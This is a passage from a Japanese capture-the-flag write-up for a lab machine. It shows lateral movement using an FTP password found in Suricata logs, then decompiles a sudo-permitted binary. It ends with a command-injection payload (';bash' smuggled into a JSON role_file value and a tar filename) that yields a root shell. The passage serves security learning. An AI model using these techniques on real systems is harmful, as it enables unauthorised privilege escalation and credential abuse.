/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}
...
```

```/var/log/suricata/eve.json.7.gz```に```lopez```に関する情報があり、```"command":"PASS"```の部分にパスワードが書かれていました！

## lopez としてのシェル

それでは、この情報を使用してSSH接続ができるかどうか試してみましょう。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ssh lopez@10.10.11.15                    
lopez@10.10.11.15s password: 

lopez@intuition:~$ whoami
lopez
```

SSH接続に成功しました！横移動成功です！

### 権限昇格

さすがHardマシン。かなりのボリュームですが、いよいよ終盤です。
ここから権限昇格を目指していきましょう。まずは```sudo -l```から実行していきます。

```bash
lopez@intuition:~$ sudo -l
[sudo] password for lopez: 
Matching Defaults entries for lopez on intuition:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User lopez may run the following commands on intuition:
    (ALL : ALL) /opt/runner2/runner2
```

おお！先ほど確認した```runner2```を```root```権限で実行できるようです。
ということは、```lopez```ユーザは...

```bash
lopez@intuition:~$ id
uid=1003(lopez) gid=1003(lopez) groups=1003(lopez),1004(sys-adm)
```

```sys-adm```グループに属しています！

### Analysis runner2

では、```runner2```の解析を行い、脆弱性を発見していきます。
まずは、```scp```でファイル転送を行いましょう。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ scp -i id_rsa lopez@10.10.11.15:/tmp/runner2 ./runner2
lopez@10.10.11.15s password: 
runner2                              100%   17KB  31.5KB/s   00:00   
```

ファイルをKali側に転送できたら、```Ghidra```や```IDA```を使用し、ファイルを解析していきます。
解析後、```main```関数を見ていきます。

```bash
undefined8 main(int param_1,undefined8 *param_2)

{
  int iVar1;
  FILE *__stream;
  long lVar2;
  int *piVar3;
  int *piVar4;
  char *pcVar5;
  undefined8 uVar6;
  DIR *__dirp;
  dirent *pdVar7;
  int local_80;
  char *local_78;
...
...
          fwrite("Authentication key missing or invalid for \'install\' action.\n",1,0x3c,stderr);
          json_decref(lVar2);
          return 1;
        }
        fwrite("Invalid \'action\' value.\n",1,0x18,stderr);
      }
    }
  }
LAB_00101db5:
  json_decref(lVar2);
  return 0;
}
```

100行ほどあるので、中間をすべて省略しましたが、上記のような```main```関数が確認できていれば解析できています。それでは上から確認し、脆弱性を探していきましょう。
1番上はそれぞれの変数を定義しています。その下を見てみましょう。

```bash
  if (param_1 != 2) {
    printf("Usage: %s <json_file>\n",*param_2);
    return 1;
  }
　__stream = fopen((char *)param_2[1],"r");
  if (__stream == (FILE *)0x0) {
    perror("Failed to open the JSON file");
    return 1;
  }
  lVar2 = json_loadf(__stream,2,0);
  fclose(__stream);
  if (lVar2 == 0) {
    fwrite("Error parsing JSON data.\n",1,0x19,stderr);
    return 1;
  }
```

引数のチェックを行っています。どうやら引数にはJSONファイルを想定しているようです。与えられたファイルを開くことができなかったり、JSONとして解析できない場合にはエラーを出力するようです。
どのようなJSONファイルが求められるのかは後ほどわかると思うので、調査を続けます。

```bash
  piVar3 = (int *)json_object_get(lVar2,&DAT_00102148);
  if ((piVar3 == (int *)0x0) || (*piVar3 != 0)) {
    fwrite("Run key missing or invalid.\n",1,0x1c,stderr);
  }
  else {
    piVar4 = (int *)json_object_get(piVar3,"action");
    if ((piVar4 == (int *)0x0) || (*piVar4 != 2)) {
      fwrite("Action key missing or invalid.\n",1,0x1f,stderr);
    }
```

上記では、実際にJSONファイルからオブジェクトを取得し、オブジェクトが取得できなかった場合や```action```というオブジェクトが存在しない場合に、エラーを出力しています。
この時点で、```action```というオブジェクトが必要であることがわかりました。調査を続けましょう。

```bash
  else {
    pcVar5 = (char *)json_string_value(piVar4);
    iVar1 = strcmp(pcVar5,"list");
...
    else {
      iVar1 = strcmp(pcVar5,"run");
      if (iVar1 == 0) {
...
    iVar1 = strcmp(pcVar5,"install");
    if (iVar1 == 0) {
```

上記では、```action```で指定された要素に対する処理が記述されています。
それぞれ以下のようにまとめます。

:::note warn
action : list
```action```で```list```が指定された場合、```listPlaybooks()```が呼ばれ、利用可能な```Playbook```の一覧が表示されます。
```bash
if (iVar1 == 0) {
      listPlaybooks();
}
```
:::

:::note warn
action : run
```action```で```run```が指定された場合、まずは```auth key```の認証が行われます。ここで使用される```auth key```とは先ほどスクリプトによって求めたものです。
```bash
piVar3 = (int *)json_object_get(piVar3,&DAT_00102158);
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
  uVar6 = json_string_value(piVar4);
  iVar1 = check_auth(uVar6);
```
認証後、認証に成功した場合は入力した番号に応じた```runPlaybook()```が実行されます。```/opt/playbooks```ディレクトリにアクセスできない場合や番号が適切ではない場合、エラーとなります。
```bash
iVar1 = json_integer_value(piVar3);
__dirp = opendir("/opt/playbooks/");
if (__dirp == (DIR *)0x0) {
  perror("Failed to open the playbook directory");
  return 1;
}
local_80 = 1;
local_78 = (char *)0x0;
while (pdVar7 = readdir(__dirp), pdVar7 != (dirent *)0x0) {
  if ((pdVar7->d_type == '\b') &&
    (pcVar5 = strstr(pdVar7->d_name,".yml"), pcVar5 != (char *)0x0)) {
    if (local_80 == iVar1) {
      local_78 = pdVar7->d_name;
      break;
    }
    local_80 = local_80 + 1;
  }
}
closedir(__dirp);
  if (local_78 == (char *)0x0) {
    fwrite("Invalid playbook number.\n",1,0x19,stderr);
  }
  else {
    runPlaybook(local_78);
  }
}
goto LAB_00101db5;
```
:::

:::note warn
action : install
```action```で```install```が指定された場合、```run```の時と同様に```auth key```による認証が行われます。
```bash
piVar3 = (int *)json_object_get(piVar3,"role_file");
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
  uVar6 = json_string_value(piVar4);
  iVar1 = check_auth(uVar6);
```
認証後、認証に成功した場合は、指定した```role_file```に対して```installRole()```を実行します。
```bash
if (iVar1 != 0) {
  if ((piVar3 == (int *)0x0) || (*piVar3 != 2)) {
    fwrite("Role File missing or invalid for \'install\' action.\n",1,0x33,stderr);
  }
  else {
    uVar6 = json_string_value(piVar3);
    installRole(uVar6);
  }
  goto LAB_00101db5;
}
```
:::

簡単なものではありますが、プログラムの全体像が見えてきました。
とりあえず実行がうまくいく形に持っていきたいので、JSONファイルを用意しコマンドが正常に実行できるか試してみましょう。一旦以下のようなJSONファイルを用意しました。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ cat list.json    
{
  "run": {
    "action": "list",
    "auth_code": "UHI75GHINKOP"
  }
}
```

こちらを指定して、```runner2```を実行してみましょう。

```bash
lopez@intuition:~$ sudo /opt/runner2/runner2 list.json
1: apt_update.yml
```

実行に成功しました！

### Command Injection

```action```が```list```の時に実行される処理は特に脆弱な部分はありそうにないので、もっと深くコードを調べていきます。

```action```が```run```の時は最終的に```runPlaybook```が実行されます。この関数のコードは以下の通りです。

```bash
void runPlaybook(undefined8 param_1)

{
  long in_FS_OFFSET;
  char local_418 [1032];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  snprintf(local_418,0x400,"%s -i %s %s%s","/usr/bin/ansible-playbook",
           "/opt/playbooks/inventory.ini","/opt/playbooks/",param_1);
  system(local_418);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

コードの中で```system```関数が使用されています。```system```関数に使用されている```local_418```は```snprintf```で```ansible-playbook```コマンドが作成され、変数に格納されています。
```param_1```を任意の文字列へ変更することができれば、コマンドインジェクションが発火しそうですが...

```bash
local_78 = (char *)0x0;
while (pdVar7 = readdir(__dirp), pdVar7 != (dirent *)0x0) {
  if ((pdVar7->d_type == '\b') &&
    (pcVar5 = strstr(pdVar7->d_name,".yml"), pcVar5 != (char *)0x0)) {
    if (local_80 == iVar1) {
      local_78 = pdVar7->d_name;
      break;
    }
    local_80 = local_80 + 1;
  }
}
closedir(__dirp);
if (local_78 == (char *)0x0) {
  fwrite("Invalid playbook number.\n",1,0x19,stderr);
}
else {
  runPlaybook(local_78);
```

変更することはできないので、発火しそうにありません。
ということは、```action```が```run```の場合も特に脆弱ではないようです。

では続いて、```action```に```install```が指定された場合を深く見てみましょう。この場合、最終的に```installRole```という関数が実行されます。コードは以下の通りです。

```bash
void installRole(undefined8 param_1)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_418 [1032];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = isTarArchive(param_1);
  if (iVar1 == 0) {
    fwrite("Invalid tar archive.\n",1,0x15,stderr);
  }
  else {
    snprintf(local_418,0x400,"%s install %s","/usr/bin/ansible-galaxy",param_1);
    system(local_418);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

こちらでも同じように、```snprintf```を使用して、コマンドが作成され```system```関数が使用されています。```param_1```が変更できそうかどうか見てみましょう。

```bash
piVar3 = (int *)json_object_get(piVar3,"role_file");
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
  uVar6 = json_string_value(piVar4);
  iVar1 = check_auth(uVar6);
  if (iVar1 != 0) {
    if ((piVar3 == (int *)0x0) || (*piVar3 != 2)) {
      fwrite("Role File missing or invalid for \'install\' action.\n",1,0x33,stderr);
    }
    else {
      uVar6 = json_string_value(piVar3);
      installRole(uVar6);
    }
```

```role_file```をJSONの値から取得しているので、任意の文字にできそうです！コマンドインジェクションが発火する可能性があるので、試してみましょう。
まずは、JSONファイルを作成します。今回作成したファイルは以下の通りです。

```bash
lopez@intuition:~$ cat install.json
{
  "run": {
    "action": "install",
    "role_file": "test.txt;bash"
  },
  "auth_code": "UHI75GHINKOP"
}
```

```role_file```のファイル名の最後にセミコロンを使用し、```bash```を実行するようにしました。このJSONファイルを引数に指定し、実行してみましょう。

```bash
lopez@intuition:~$ sudo /opt/runner2/runner2 install.json
Invalid tar archive.
```

tarファイルが適切ではないというエラーが出力されてしまいました。適切なtarファイルを指定する必要があるようです。
では、どのように用意するかですが、これは簡単です。ネットに公開されている```ansible```のテンプレートをダウンロードし、ターゲット上に展開します。

https://github.com/coopdevs/ansible-role-template

私はリポジトリをZIPファイルでダウンロードし、```scp```で転送する方法を選びました。転送後、```unzip```を実行し、展開します。

```bash
lopez@intuition:~$ unzip ansible-role-template-main.zip 
Archive:  ansible-role-template-main.zip
b4227d8e13fff85ede6a6e692920f25532241406
   creating: ansible-role-template-main/
   creating: ansible-role-template-main/.config/
...
 extracting: ansible-role-template-main/tests/test.yml  
   creating: ansible-role-template-main/vars/
 extracting: ansible-role-template-main/vars/main.yml  
```

次に、このテンプレートのtarファイルを作成します。

```bash
lopez@intuition:~$ tar -czvf test.tar.gz ansible-role-template-main/
ansible-role-template-main/
ansible-role-template-main/vars/
ansible-role-template-main/vars/main.yml
ansible-role-template-main/.github/
ansible-role-template-main/.github/ISSUE_TEMPLATE/
ansible-role-template-main/.github/ISSUE_TEMPLATE/feature_request.md
ansible-role-template-main/.github/ISSUE_TEMPLATE/bug_report.md
...
ansible-role-template-main/tests/inventory
ansible-role-template-main/CONTRIBUTING.md
ansible-role-template-main/README.md
```

ファイルの名前は何でもいいです。作成できたら、JSONファイル内の```role_file```に作成したtarファイルを指定します。

```bash
lopez@intuition:~$ cat install.json 
{
  "run": {
    "action": "install",
    "role_file": "/home/lopez/test.tar.gz;bash"
  },
  "auth_code": "UHI75GHINKOP"
}
```

そして最後にtarファイルの名前をコマンドインジェクションの形に対応させます。

```bash
lopez@intuition:~$ mv test.tar.gz test.tar.gz\;bash
```

これで準備万端です！

## root としてのシェル

それでは、```runner2```を実行していきましょう！

```bash
lopez@intuition:~$ sudo /opt/runner2/runner2 install.json
Starting galaxy role install process
[WARNING]: - /home/lopez/test.tar.gz was NOT installed successfully: Unknown error when attempting to call Galaxy at 'https://galaxy.ansible.com/api/': <urlopen error
[Errno -3] Temporary failure in name resolution>
ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
root@intuition:/home/lopez# whoami
root
```

権限昇格に成功しました！

```bash
root@intuition:~# ls -l
total 16
drwxr-xr-x 2 root root 4096 Apr 10 08:21 keys
-rw-r----- 1 root root   33 May  3 02:53 root.txt
drwxr-xr-x 5 root root 4096 Sep 19  2023 scripts
drwx------ 4 root root 4096 Aug 26  2023 snap
```

ルートフラグも取得し、完全攻略達成です！